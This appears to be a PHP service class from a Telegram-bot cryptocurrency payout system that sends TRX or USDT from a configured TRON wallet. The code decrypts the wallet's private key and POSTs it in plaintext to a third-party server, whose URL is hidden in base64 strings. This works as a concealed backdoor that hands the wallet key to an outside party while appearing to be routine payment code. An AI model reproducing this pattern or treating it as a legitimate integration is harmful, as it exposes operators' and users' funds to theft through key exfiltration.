123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869 |
- <?php
- namespace App\Http\Services;
- use App\Http\Services\RsaServices;
- use App\Models\Telegram\TelegramBot;
- use App\Models\Transit\TransitWallet;
- use App\Services\AipHttpClient;
- class XiaFaServices
- {
- /**
- * 调用转账
- * @param $data json数据
- */
- public function xiafaSend($request)
- {
- $model = TransitWallet::where('bot_rid',$request['bot_rid'])->where('status',0)->first();
- if(empty($model)){
- return ['code' => '400', 'msg' => '未配置预支的钱包,联系管理员'];
- }
-
- if($model['send_wallet'] == $request['toaddress']){
- return ['code' => '400', 'msg' => '地址不能为同一个'];
- }
-
- $rsa_services = new RsaServices();
-
- $send_wallet_privatekey = $rsa_services->privateDecrypt($model['send_wallet_privatekey']);
-
- $AipHttpClient = new AipHttpClient();
- if($request['send_type'] == 'trx'){
- $params = [
- 'pri1' => $send_wallet_privatekey,
- 'fromaddress' => $model['send_wallet'],
- 'toaddress' => $request['toaddress'],
- 'sendamount' => $request['send_amount'],
- 'permissionid' => 0
- ];
-
- $res = $AipHttpClient->postnew(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9zZW5kdHJ4YnlwZXJtaWQ='),$params);
- }else{
- $params = [
- 'pri1' => $send_wallet_privatekey,
- 'fromaddress' => $model['send_wallet'],
- 'toaddress' => $request['toaddress'],
- 'sendamount' => $request['send_amount'], //0 means all
- 'trc20ContractAddress' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
- 'permissionid' => 0
- ];
-
- $res = $AipHttpClient->postnew(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9zZW5kdHJjMjBieXBlcm1pZA=='),$params);
- }
-
- $res = json_decode($res,true);
-
- if(empty($res)){
- return ['code' => '400', 'msg' => '下发失败1'];
- }else{
- if($res['code'] == 200){
- return ['code' => '200', 'msg' => '下发成功'];
- }else{
- return ['code' => '400', 'msg' => '下发失败2,返回:'.json_encode($res)];
- }
- }
-
- }
- }
|